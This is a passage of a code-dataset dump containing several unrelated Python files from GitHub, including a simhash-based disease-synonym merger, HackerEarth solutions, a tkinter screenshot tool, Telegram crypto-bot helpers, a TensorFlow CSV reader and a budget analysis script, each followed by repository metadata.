dict[str(temp)]=DO[temp][1]\n #flags[temp]=1\n IDPair.append(str(temp))\n if len(IDPair)>1:\n IDPairList.append(IDPair)\n\n\n #二次查找实体对,把xref中互相关联的结果并到一起\n flagChanged = 1\n while flagChanged == 1:\n xrefs = []\n flags = [0 for i in range(len(xref))]\n for i in range(len(xref)):\n # print(i)\n if flags[i] == 0:\n temp = []\n for ii in xref[i]:\n temp.append(str(ii))\n xrefs.append(temp)\n flags[i] = 1\n for j in range(i + 1, len(xref)):\n if flags[j] == 0:\n for k in xref[j]:\n if k in xrefs[-1]:\n flags[j] = 1\n for l in xref[j]:\n xrefs[-1].append(str(l))\n break\n # IDPairList[j]=[]\n if len(xrefs) == len(xref):\n flagChanged = 0\n break\n xref= xrefs\n\n # 二次查找实体对,把IDPairList中互相关联的结果并到一起\n flagChanged=1\n while flagChanged==1:\n diseases=[]\n\n flags = [0 for i in range(len(IDPairList))]\n for i in range(len(IDPairList)):\n # print(i)\n if flags[i] == 0:\n temp = []\n for ii in IDPairList[i]:\n temp.append(str(ii))\n diseases.append(temp)\n flags[i] = 1\n for j in range(i + 1, len(IDPairList)):\n if flags[j] == 0:\n for k in IDPairList[j]:\n if k in diseases[-1]:\n flags[j] = 1\n for l in IDPairList[j]:\n diseases[-1].append(str(l))\n break\n #IDPairList[j]=[]\n if len(diseases)==len(IDPairList):\n flagChanged=0\n break\n IDPairList=diseases.copy()\n\n\n #检测最大类,对该类应用阈值减小的simhash\n print(IDPairList)\n IDPairListLens = [len(list(set(x))) for x in IDPairList]\n maxLen = max(IDPairListLens)\n #print(maxLen)\n tempThreshold=threshold\n while maxLen>10 and tempThreshold>0:\n print(maxLen,tempThreshold)\n tempThreshold=tempThreshold-1\n indexList=[] #记录大于10的类的index\n for index,IDPair in enumerate(IDPairList):\n tempIDPair=list(set(IDPair))\n if len(tempIDPair)>10:#类内进行更小阈值计算\n indexList.append(index)\n tempIDPairLists = []\n SimhashObjs2=[]\n for x in tempIDPair:\n #print(x,DO[int(x)][0])\n SimhashObjs2.append((str(x),Simhash(DO[int(x)][0])))\n SimIndex2 = SimhashIndex(SimhashObjs2, k=tempThreshold)\n flags=[0 for x in range(len(tempIDPair))]\n tempIDPairList=[]\n for i in range(len(tempIDPair)):\n if flags[i]==0:\n #print(IDPair[i])\n near=SimIndex2.get_near_dups(Simhash(DO[int(tempIDPair[i])][0]))\n if len(near)==1 and near[0]==tempIDPair[i]:\n unMerged.append(str(tempIDPair[i]))\n #dict.append\n #unMergedSyn.append(DO[int(IDPair[i])][1])\n elif len(near)>1:\n tempIDPair2=[]\n while len(near) > 0:\n temp = near.pop()\n #dict[str(temp)] = DO[temp][1]\n #flags[tempIDPair.index(temp)] = 1\n tempIDPair2.append(str(temp))\n #print(tempIDPair2)\n if len(tempIDPair2) > 1:\n tempIDPairLists.append(tempIDPair2)\n tempIDPairLists=listProceed(tempIDPairLists)\n\n for k in tempIDPairLists:\n diseases.append(k)\n indexList.sort(reverse=True)\n for k in indexList:\n diseases.pop(k)\n IDPairList=diseases.copy()\n IDPairListLens = [len(list(set(x))) for x in IDPairList]\n maxLen = max(IDPairListLens)\n\n\n #xref中的类转为字符串输入到dataframe中\n for i in xrefs:\n IDs=list(set(i))\n realIDs=[DO[int(x)][2] for x in IDs]\n str1= ','.join(realIDs)\n str1=str(len(realIDs))+','+'xref'+','+str1 #id数:所有id\n SynList = []\n for id in IDs:\n tempList=dict[id]\n #print(tempList)\n #print(DO[int(id)][1])\n str3 = '['\n for k in tempList:\n str3 = str3 + '\"\"\"' + str(k) + '\"\"\",'\n str3 = str3[:-1] + ']'\n SynList.append(str3)\n\n str2 = ','.join(SynList)\n #print(str2)\n df1 = pd.DataFrame({\"ID\": [str1], \"Syn\": [str2],\"CrossReference\":['1']})\n df = df.append(df1)\n df2 = df2.append(df1[[\"ID\",\"Syn\"]])\n # diseases中的类转为字符串输入到dataframe中\n for i in diseases:\n IDs = list(set(i))\n realIDs=[DO[int(x)][2] for x in IDs]\n '''if len(IDs)==1:\n continue'''\n str1 = ','.join(realIDs)\n str1=str(len(realIDs))+','+str1 #id数:所有id\n SynList = []\n for id in IDs:\n tempList=dict[id]\n str3 = '['\n for k in tempList:\n str3 = str3 + '\"\"\"' + str(k) + '\"\"\",'\n str3 = str3[:-1] + ']'\n\n SynList.append(str3)\n\n str2 = ','.join(SynList)\n #print(str2)\n df1 = pd.DataFrame({\"ID\": [str1], \"Syn\": [str2],\"CrossReference\":['0']})\n df = df.append(df1)\n # unmerged中的类转为字符串输入到dataframe中\n for i in unMerged:\n str1='1,'+DO[int(i)][2]\n tempList=dict[i]\n\n str2 = '['\n for k in tempList:\n str2 = str2 + '\"\"\"' + str(k) + '\"\"\",'\n str2 = str2[:-1] + ']'\n\n df1 = pd.DataFrame({\"ID\": [str1], \"Syn\": [str2],\"CrossReference\":['0']})\n df = df.append(df1)\n\n\n df.to_csv(\"merged190821_\"+str(threshold)+\".csv\",index=False)\n df2.to_csv(\"merged190821_\"+str(threshold)+\"_xref.csv\",index=False)\n #OriginalFile = pd.read_excel(filename, None)\n #pdWriter = pd.ExcelWriter(\"merged(IDfixed)_\"+str(threshold)+\".xlsx\")\n #OriginalFile['DO'].to_excel(pdWriter, sheet_name=\"DO\", index=False)\n #OriginalFile['ICD10CM'].to_excel(pdWriter, sheet_name=\"ICD10CM\", index=False)\n #OriginalFile['ICD10'].to_excel(pdWriter, sheet_name=\"ICD10\", index=False)\n #OriginalFile['MeSH'].to_excel(pdWriter, sheet_name=\"MeSH\", index=False)\n #df.to_excel(pdWriter, sheet_name=\"merged\", index=False)\n #df2.to_excel(pdWriter,sheet_name=\"xref\",index=False)\n #pdWriter.save()\n #pdWriter.close()\n\n'''start=time.perf_counter()\ncontrast(10)\ndur1=time.perf_counter()\nprint(\"time:\",dur1-start)\ncontrast(9)\ndur2=time.perf_counter()\nprint(\"time:\",dur2-dur1)\ncontrast(8)\ndur3=time.perf_counter()\nprint(\"time:\",dur3-dur2)\ncontrast(7)\ndur4=time.perf_counter()\nprint(\"time:\",dur4-dur3)\ncontrast(6)\ndur5=time.perf_counter()\nprint(\"time:\",dur5-dur4)\ncontrast(5)\ndur6=time.perf_counter()\nprint(\"time:\",dur6-dur5)\ncontrast(3)\ndur7=time.perf_counter()\nprint(\"time:\",dur7-dur6)\ncontrast(0)\ndur8=time.perf_counter()\nprint(\"time:\",dur1-start,'\\n',\n dur2-dur1,'\\n',\n dur3-dur2,'\\n',\n dur4-dur3,'\\n',\n dur5-dur4,'\\n',\n dur6-dur5,'\\n',\n dur7-dur6,'\\n',\n dur8-dur7)'''","repo_name":"ggxxding/Merge","sub_path":"数据库整合2/sim7.py","file_name":"sim7.py","file_ext":"py","file_size_in_byte":15473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33951066250","text":"\"\"\"\n# Sample code to perform I/O:\n\nname = input() # Reading input from STDIN\nprint('Hi, %s.' % name) # Writing output to STDOUT\n\n# Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail\n\"\"\"\n\n# Write your code here\nfrom bisect import bisect_right\n\nt = int(input())\na = list(map(int, input().strip().split()))\ntotals = [a[0]]\nfor i in range(1, t):\n totals.append(totals[i - 1] + a[i])\nq = int(input())\nfor _ in range(q):\n target = int(input())\n index = bisect_right(totals, target)\n if index == 0:\n print(1)\n elif index == t and totals[index - 1] == target:\n print(index)\n elif index < t:\n print(index + int(totals[index - 1] != target))\n else:\n print(-1)\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Algorithms/Square Transaction/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"26374428555","text":"import pyautogui\nfrom tkinter import filedialog\nimport tkinter as tk\nfrom tkinter.messagebox import askyesno\n\nroot = tk.Tk()\nroot.title('Screen Shot')\n\ncanvas = tk.Canvas(root, width=300, height=300)\ncanvas.pack()\n\n\ndef takeScreenshot():\n shot = pyautogui.screenshot()\n file_path = filedialog.asksaveasfilename(defaultextension='.png')\n shot.save(file_path)\n\n\ndef Exit():\n answer = askyesno(title='confirmation', message='Are you sure that you want to quit')\n if answer:\n root.destroy()\n\n\nbtn = tk.Button(text='Screen Shot', command=takeScreenshot, bg='yellow', fg= 'black', font=12)\ncanvas.create_window(150, 140, window=btn)\n\n\nbtn = tk.Button(text='Exit Window', command=Exit, bg='yellow', fg= 'black', font=12)\ncanvas.create_window(150, 180, window=btn)\n\nroot.mainloop()","repo_name":"Waseemshahazad/Screen-Shot-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43052277915","text":"A,B = input().split()\r\nA = int(A) ; B = int(B)\r\nfor i in range (1,A+1):\r\n jarak=i\r\n while jarak >1:\r\n print(\"(%d * %d) + \"%(jarak,B), end='');jarak-=1\r\n o = 1 ; hasil=(i * B)\r\n while o 1 else val[0]\n return val\n\ndef format_timestamp(timestamp):\n return timestamp.strftime('%b %d, %H:%M')\n\ndef format_currency(amount, currency_symbol='', in_satoshi=True):\n if amount == 0:\n return currency_symbol + '0.00'\n\n if in_satoshi: # convert from satoshis\n amount = float(amount * float(10**-8))\n\n common_logarithm = int(math.log10(abs(amount)))\n if common_logarithm > 3: # 12345.2212 -> 12345\n currency_norm = \"{:,.0f}\".format(amount)\n elif common_logarithm > 0: # 123.2212 -> 123.22\n currency_norm = \"{:.2f}\".format(amount)\n else: # 0.123400000 -> 0.1234\n currency_norm = \"{:.6f}\".format(amount).rstrip('0').rstrip('.')\n\n return currency_symbol + currency_norm\n\n\ndef parse_telegram_cryptocurrency_args(args, update, command):\n try:\n arg = args[0].upper()\n except:\n update.message.reply_text(f\"Please add coin abbreviation or trading pair to command. For example: `/{command} BTC` or `/{command} ETH_USDT`\", ParseMode.MARKDOWN)\n return None\n\n period_in_seconds = 2*60*60 if not LOCAL else 2000*60*60 # we search trading_pairs for this period back in time\n\n trading_pairs_available = get_currency_pairs(source='all', period_in_seconds=period_in_seconds, counter_currency_format=\"text\")\n trading_pair = parse_trading_pair_string(arg)\n\n # wrong arg format\n if trading_pair['transaction_currency'] == trading_pair['counter_currency'] == None:\n update.message.reply_text(f\"Sorry, I can't understand this coin format: `{args[0]}`. Please enter: `/{command} BTC` or `/{command} ETH_USDT`\", ParseMode.MARKDOWN)\n return None\n # we don have info on this coin\n elif trading_pair['counter_currency'] is None:\n trading_pair['counter_currency'] = default_counter_currency_for(trading_pair['transaction_currency'], trading_pairs_available)\n if trading_pair['counter_currency'] is None:\n coins = set(coin for coin, _ in trading_pairs_available)\n update.message.reply_text(f\"Sorry, I don't support `{trading_pair['transaction_currency']}`\\n\\nPlease use one of this coins:\\n\\n{', '.join(coins)}.\\n\\nOr just enter `/{command} BTC` or `/{command} ETH_USDT`\", ParseMode.MARKDOWN)\n return None\n else:\n return trading_pair\n # wrong counter currency\n elif (trading_pair['transaction_currency'], trading_pair['counter_currency']) not in trading_pairs_available:\n good_trading_pairs = \"` or `\".join([f\"{tc}_{cc}\" for (tc, cc) in trading_pairs_for(trading_pair['transaction_currency'], trading_pairs_available)])\n view = f\"Sorry, I don't support this trading pair `{trading_pair['transaction_currency']}_{trading_pair['counter_currency']}`\\n\\n\"\n if good_trading_pairs:\n view += f\"Please use: `{good_trading_pairs}`\"\n update.message.reply_text(view, ParseMode.MARKDOWN)\n return None\n # all good and well\n else:\n return trading_pair","repo_name":"kamleshahire/core","sub_path":"apps/info_bot/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"37133363229","text":"import tensorflow as tf\nfrom tqdm import tqdm\nimport random\n\nname_list = list()\nprint(\"Populating name_list\")\nfor i in tqdm(range(25000)):\n name_list.append(\"/home/david/Documents/gameFiles/CSV-19x19/data\"+str(i)+\".csv\")\n\n\nfilename_queue = tf.train.string_input_producer(name_list, shuffle=True)\n\nreader = tf.TextLineReader()\nkey, value = reader.read(filename_queue)\n\n# Default values, in case of empty columns. Also specifies the type of the\n# decoded result.\n\nprint(\"Initialize columns\")\ncolumns = [[0] for x in tqdm(range(723))]\n#print(columns)\nprint(\"Initialize Features\")\nfeat = [0 for x in tqdm(range(361))]\n#print(features)\ncolumns = tf.decode_csv(value, record_defaults=columns)\n#print(columns)\nprint(\"Populating solutions\")\nsolutions = [columns[x] for x in tqdm(range(362, 723))]\n#print(solutions)\n\nfeatures = tf.pack(feat)\n\nwith tf.Session() as sess:\n # Start populating the filename queue.\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n\n print(\"Training\")\n for i in range(25000):\n # Retrieve a single instance:\n example, label = sess.run([features, solutions])\n\n coord.request_stop()\n coord.join(threads)","repo_name":"DSWallach/tensorGo","sub_path":"simpleCsvNN.py","file_name":"simpleCsvNN.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8621291967","text":"import pandas as pd\nimport plotly.express as px\n\n# read the stocks data\nstocks_df = pd.read_csv(\"../data/stocks.csv\")\n# sort by date\nstocks_df = stocks_df.sort_values(by=['Date'])\n\n\n# interactive plotting using plotly\n# @input df -> DataFrame, title -> String\ndef interactive_plot(df, title):\n fig = px.line(title=title)\n\n # add scatter trace to it\n for i in df.columns[1:]:\n fig.add_scatter(x=df['Date'], y=df[i], name=title)\n fig.show()\n\n\n# interactive_plot(stocks_df, \"Stocks\")\n\ndef normalise(df):\n x = df.copy()\n for i in x.columns[1:]:\n x[i] = x[i] / x[i][0]\n return x\n\n\ninteractive_plot(normalise(stocks_df), \"Stocks Normalised\")\n","repo_name":"AybarsAcar/dataAnalyticsFinance","sub_path":"stock_data_analysis/interactive_plots.py","file_name":"interactive_plots.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"383430497","text":"#!/usr/bin/env python3\n\nimport requests\n\ndef get_manor_ids(place_id):\n \"\"\"\n Returns the list of manor ids for a given place id.\n \"\"\"\n url = f\"https://opendomesday.org/api/places/{place_id}/manors/\"\n response = requests.get(url)\n data = response.json()\n manor_ids = [manor[\"id\"] for manor in data[\"results\"]]\n return manor_ids\n\nif __name__ == '__main__':\n place_id = \"20086\"\n manor_ids = get_manor_ids(place_id)\n print(manor_ids)\n","repo_name":"AymericThiault/GitLinuxPython","sub_path":"TD/TD4/td5ex3.py","file_name":"td5ex3.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70451998169","text":"import os\nimport csv\n\n# Set path for csv file\nbudget_data_csv = os.path.join(\"resources\", \"budget_data.csv\")\n\n# Define variables\ntotal_months = 0\nnet_total = 0\nprevious_profit_loss = 0\ntotal_change = 0\ngreatest_increase = 0\ngreatest_increase_month = \"\"\ngreatest_decrease = 0\ngreatest_decrease_month = \"\"\n\n# Read csv file\nwith open(budget_data_csv, newline=\"\") as csvfile:\n csvreader = csv.reader(csvfile, delimiter=\",\")\n\n # Read the header row\n header = next(csvreader)\n\n # Process data\n for row in csvreader:\n # Count total number of months\n total_months += 1\n\n # Calculate Net total amount of \"Profit/Losses\"\n net_total += int(row[1])\n\n # Calculate the change in \"Profit/Losses\"\n if total_months > 1:\n change = int(row[1]) - previous_profit_loss\n total_change += change\n\n # Check if the change is the greatest increase or decrease\n if change > greatest_increase:\n greatest_increase = change\n greatest_increase_month = row[0]\n elif change < greatest_decrease:\n greatest_decrease = change\n greatest_decrease_month = row[0]\n\n # Store the current month's \"Profit/Losses\"\n previous_profit_loss = int(row[1])\n\n# Calculate average change\naverage_change = total_change / (total_months - 1)\n\n# Format the output\nanalysis_output = f\"\"\"\nFinancial Analysis\n----------------------------\nTotal Months: {total_months}\nTotal: ${net_total}\nAverage Change: ${average_change:.2f}\nGreatest Increase in Profits: {greatest_increase_month} (${greatest_increase})\nGreatest Decrease in Profits: {greatest_decrease_month} (${greatest_decrease})\n\"\"\"\n\n# Print the analysis to the terminal\nprint(analysis_output)\n\n# Export the analysis to a text file\noutput_file = \"financial_analysis.txt\"\nwith open(output_file, \"w\") as textfile:\n textfile.write(analysis_output)\n\nprint(f\"Analysis exported to {output_file} successfully.\")\n","repo_name":"JuanMoncaleano/Module_3_Challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42522170204","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nfrom enum import Enum, auto\nfrom typing import Dict\n\nfrom common.environment_variable import load_server_logging_conf_file\n\nload_server_logging_conf_file()\n\n\nclass Source(Enum):\n VISJS = auto()\n REDIS = auto()\n DBDUMP = auto()\n\n\nclass Metadata:\n \"\"\"\n Handle metadata of the graph\n \"\"\"\n\n def __init__(self, source: Source):\n self.source = source\n\n # ==================== Export / Import ====================\n\n def export_as_dict(self):\n tmp_json = {}\n tmp_json[\"source\"] = self.source.name\n return tmp_json\n\n @staticmethod\n def load_from_dict(tmp_input: Dict):\n \"\"\"\n Load/ Import a Meta object from a dict\n :param tmp_input: A Dict version of the Meta to import\n :return: The Meta as an object\n \"\"\"\n\n if tmp_input[\"source\"] == \"VISJS\":\n tmp_source = Source.VISJS\n elif tmp_input[\"source\"] == \"REDIS\":\n tmp_source = Source.REDIS\n elif tmp_input[\"source\"] == \"DBDUMP\":\n tmp_source = Source.DBDUMP\n else:\n raise Exception(\"Incorrect Source in Metadata parsing\")\n\n return Metadata(tmp_source)\n","repo_name":"CIRCL/douglas-quaid","sub_path":"common/Graph/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"31"} +{"seq_id":"37729090722","text":"import torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport torch.optim as optim\n\n\n## transforms.Compose 파이토치에있는 이미지 변환 모듈\n## 이미지 파일을 텐서로 쉽게 바꿔주는 역할을 함\n## rgb 값을 \"transforms.ToTensor()\" 에 넣으면 0~1로 변환해줌 (어두우면 0, 밝으면 1 )\n# transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n# transforms.Normalize((R, G, B), (0.5, 0.5, 0.5))\n## 평균 표준편차\n## >>> 결론 : Normalize를 각 채널별로 시켜줬다.\nprint(os.getcwd())\n\n### iter 실행시 오류가 뜬다면 num_worker 를 삭제하면 된다\n## Delete the num_workers of the data loader, namely\ntransform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\ntrainset = torchvision.datasets.CIFAR10(root='./data', train=True,\n download=True, transform=transform)\n## 총 60000장 40000 10000 10000\ntrainset, valset = torch.utils.data.random_split(trainset, [40000, 10000])\ntestset = torchvision.datasets.CIFAR10(root='./data', train=False,\n download=True, transform=transform)\n\n\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=4,\n shuffle=True)\nvalloader = torch.utils.data.DataLoader(valset, batch_size=4,\n shuffle=False)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=4,\n shuffle=False)\n\nclasses = ('plane', 'car', 'bird', 'cat',\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n\n\n\n\n# functions to show an image\ndef imshow(img):\n img = img / 2 + 0.5 # unnormalize\n npimg = img.numpy()\n plt.imshow(np.transpose(npimg, (1, 2, 0)))\n plt.show()\n\n\n# get some random training images\ndataiter = iter(trainloader)\nimages, labels = dataiter.next()\n\n# show images\nimshow(torchvision.utils.make_grid(images))\n# print labels\nprint(' '.join('%5s' % classes[labels[j]] for j in range(4)))\n\n\n## type : 모델이 tensor로 잘 불러와졌는지 확인하기위함.\n## images.shape : torch.Size([4, 3, 32, 32])\n# [batch size(각 하나의 사진), channel, 가로,세로]\nprint(type(images), images.shape)\n\n## iter 한 데이터set에 .next()를 하게되면(dataiter.next()) 자동으로 다음 batch 를 보여주게된다/.\n# # print(labels) >>>> tensor([2, 9, 1, 8]) : classes 에서 2번째 bird, 9번쨰 'truck' 등등을 나타낸다.\n# classes = ('plane', 'car', 'bird', 'cat',\n# 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\nprint(type(labels), labels.shape, labels)\n\n\n## MODEL\nclass MLP(nn.Module):\n def __init__(self, in_dim, out_dim, hid_dim, n_layer, act):\n super(MLP, self).__init__()\n self.in_dim = in_dim\n self.out_dim = out_dim\n self.hid_dim = hid_dim\n self.n_layer = n_layer\n self.act = act\n\n self.fc = nn.Linear(self.in_dim, self.hid_dim)\n ## 그냥 list가 아니고 모듈 리스트를 쓰는 이유는\n ## 이렇게 하면 optimizer가 parameter에 잘 접근할수 있게 해준다\n self.linears = nn.ModuleList()\n\n ## num_layer를 hidden 만으로 생각한다면 그대로 쓰면되지만\n ## input layer 까지 포함한 수로 생각한다면 -1 을 해주면 된다\n for i in range(self.n_layer - 1):\n self.linears.append(nn.Linear(self.hid_dim, self.hid_dim))\n self.fc2 = nn.Linear(self.hid_dim, self.out_dim)\n\n if self.act == 'relu':\n self.act = nn.ReLU()\n\n def forward(self, x):\n x = self.act(self.fc(x))\n for fc in self.linears:\n x = self.act(fc(x))\n x = self.fc2(x) ## 마지막에는 relu를 넣지 않는게 좋다, (값이 0이되면 classification에 문제가 생길 수 있다.)\n return x\n\n\n\n\n## train\nnet = MLP(3072, 10, 100, 4, 'relu')\nprint(net)\n\n\n\n\n\n## test\ndataiter = iter(testloader)\nimages, labels = dataiter.next()\n\n# print images\nimshow(torchvision.utils.make_grid(images))\nprint('GroundTruth: ', ' '.join('%5s' % classes[labels[j]] for j in range(4)))\n\n\n\n\n\n##EXPERIMENT\n\ndef experiment(args):\n net = MLP(args.in_dim,args.out_dim,args.hid_dim, args.n_layer, args.act)\n ## net.to('cuda:0') or net.cuda()\n\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(net.parameters(), lr=args.lr, momentum=args.mm)\n\n for epoch in range(args.epoch): # loop over the dataset multiple times\n\n running_loss = 0.0\n train_loss =0.0\n for i, data in enumerate(trainloader, 0):\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n inputs = inputs.view(-1, 3072)\n ## inputs = inputs.cuda()\n ## labels = labels.cuda()\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = net(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n train_loss += loss.item()\n if i % 2000 == 1999: # print every 2000 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 2000))\n running_loss = 0.0\n ## val\n correct = 0\n total = 0\n val_loss = 0\n with torch.no_grad():\n for data in valloader:\n images, labels = data\n images = images.view(-1, 3072)\n ## images = images.cuda()\n ## labels = labels.cuda()\n outputs = net(images)\n\n loss = criterion(outputs, labels)\n val_loss += loss.item()\n\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n val_loss = val_loss / len(valloader)\n val_acc = 100 * correct / total\n print('epoch :{},train_loss:{},val_loss:{},val_acc:{}'.format(epoch, train_loss, val_loss, val_acc))\n ## test acc\n correct = 0\n total = 0\n with torch.no_grad():\n for data in testloader:\n images, labels = data\n images = images.view(-1, 3072)\n ## images = images.cuda()\n ## labels = labels.cuda()\n outputs = net(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n test_acc = correct/total*100\n return train_loss, val_loss, val_acc, test_acc\n\n\nimport argparse\nparser = argparse.ArgumentParser()\nargs = parser.parse_args('')\n\nseed = 123\nnp.random.seed(seed)\ntorch.manual_seed(seed)\n\nargs.n_layer = 5\nargs.in_dim = 3072\nargs.out_dim = 10\nargs.hid_dim = 100\nargs.lr = 0.001\nargs.mm = 0.9\nargs.act = 'relu'\nargs.epoch =2\n\n\nexperiment(args)\n\n\nlist_var1 = [4, 5, 6]\nlist_var2 = [50, 100, 150]\n\nfor var1 in list_var1:\n for var2 in list_var2:\n args.n_layer = var1\n args.hid_dim = var2\n result = experiment(args)\n print(result)","repo_name":"Twlee95/ML_Practice","sub_path":"Data_preperation.py","file_name":"Data_preperation.py","file_ext":"py","file_size_in_byte":7531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22990048097","text":"from goap.action import Action\nfrom goap.planner import RegressivePlanner\n\n\nclass Haunt(Action):\n effects = {\"is_spooky\": True}\n preconditions = {\"is_undead\": True}\n\n\nclass BecomeUndead(Action):\n effects = {\"is_undead\": True}\n preconditions = {\"is_undead\": False}\n\n\nif __name__ == \"__main__\":\n world_state = {\"is_spooky\": False, \"is_undead\": False}\n goal_state = {\"is_spooky\": True}\n print(\"Initial State:\", world_state)\n print(\"Goal State: \", goal_state)\n\n actions = [BecomeUndead(), Haunt()]\n planner = RegressivePlanner(world_state, actions)\n\n plan = planner.find_plan(goal_state)\n print(plan)\n","repo_name":"agoose77/GOAP","sub_path":"examples/01-haunting.py","file_name":"01-haunting.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"31"} +{"seq_id":"11673801660","text":"# File: cex1.py\n# A simple program illustrating chaotic behavior. Changes algebra function into \n# another function that is algebraically equivallent.\ndef main():\n print(\"This program illustrates a chaotic function\")\n x = eval(input(\"Enter a number between 0 and 1: \"))\n x2 = x\n x3 = x\n for i in range(100):\n x = 3.9 * x * (1-x)\n x2 = 3.9 * (x2 - x2 * x2)\n x3 = 3.9 * x3 - 3.9 * x3 * x3\n print(x,x2,x3)\nmain()\n","repo_name":"franklarios/pycompsci","sub_path":"chp1/cex1.py","file_name":"cex1.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33952873930","text":"from bisect import bisect_left, bisect_right\n\nt = int(input())\nfor _ in range(t):\n n, k, l, r = map(int, input().strip().split())\n dresses = input().strip()\n special = set(input().strip())\n a = [0] * (n + 1)\n for i, c in enumerate(dresses):\n a[i + 1] = a[i]\n if c in special:\n a[i + 1] += 1\n ways = 0\n for i in range(1, n + 1):\n if l <= a[i] and a[i] - a[i - 1] <= r:\n j1 = bisect_left(a, a[i] - r)\n j2 = min(bisect_right(a, a[i] - l), i) - 1\n ways += max(j2 - j1 + 1, 0)\n print(ways)\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Basic Programming/Implementation/Basics of Implementation/Fashion Line/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"22909143491","text":"import cv2\nimport os\nimport shutil\nimport sys\nsys.path.append(\"..\")\nfrom tools import SaveAndLoad as save\n\nSRC_GOOD=\"D:/Mywork/data/good_nosymbol\"\nSRC_BAD=\"D:/Mywork/data/bad_nosymbol\"\nTAG=\"D:/Mywork/data/\"\nINSTANCE_UPPER_BOUND = 200\nROW_LIMIT = 10\nCOL_LIMIT = 10\nDIRECTION = ((-2,0),(2,0),(0,2),(0,-2))\nFOUR = ((0,0),(0,1),(1,1),(1,0))\n\ndef averengeOfFour(img,x,y):\n\treturn int((img[x][y] + img[x+1][y] + img[x][y+1] + img[x+1][y+1])/4)\n\n#Maybe resize many times\n# def resize(img):\n# \trow = len(img)\n# \tcol = len(img[0])\n# \tsize = row * col\n# \twhile(size>INSTANCE_UPPER_BOUND):\n# \t\tprint (size)\n# \t\timg = cv2.resize(img,None,fx=0.5,fy=0.5,interpolation=cv2.INTER_AREA)\n# \t\trow = len(img)\n# \t\tcol = len(img[0])\n# \t\tsize = row *col\n# \treturn img\n\ndef resize(img):\n\trow = len(img)\n\tcol = len(img[0])\n\tsize = min(ROW_LIMIT/row,COL_LIMIT/col)\n\timg = cv2.resize(img,None,fx=size,fy=size,interpolation=cv2.INTER_AREA)\n\treturn img\n\ndef SBN(img):\n\trow = len(img)\n\tcol = len(img[0])\n\trealRowNumber = int(row/2)\n\trealColNumber = int(col/2)\n\tresult = []\n\tfor x in range(2,(realRowNumber-1)*2,2):\n\t\tfor y in range(2,(realColNumber-1)*2,2):\n\t\t\tresult.append([])\n\t\t\tnowx = x\n\t\t\tnowy = y\n\t\t\tValue = 0;\n\t\t\tfor i in FOUR:\n\t\t\t\tnewx = nowx + i[0]\n\t\t\t\tnewy = nowy + i[1]\n\t\t\t\tValue += img[newx][newy][0]\n\t\t\tValue /= 4\n\t\t\tresult[len(result)-1].append(Value)\n\t\t\tfor z in DIRECTION:\n\t\t\t\tnowx = x + z[0]\n\t\t\t\tnowy = y + z[1]\n\t\t\t\tnowValue = 0;\n\t\t\t\tfor i in FOUR:\n\t\t\t\t\tnewx = nowx + i[0]\n\t\t\t\t\tnewy = nowy + i[1]\n\t\t\t\t\tnowValue += img[newx][newy][0]\n\t\t\t\tnowValue /= 4\n\t\t\t\tresult[len(result)-1].append(nowValue-Value)\n\treturn result\n\nif __name__ == '__main__':\n\trecord = 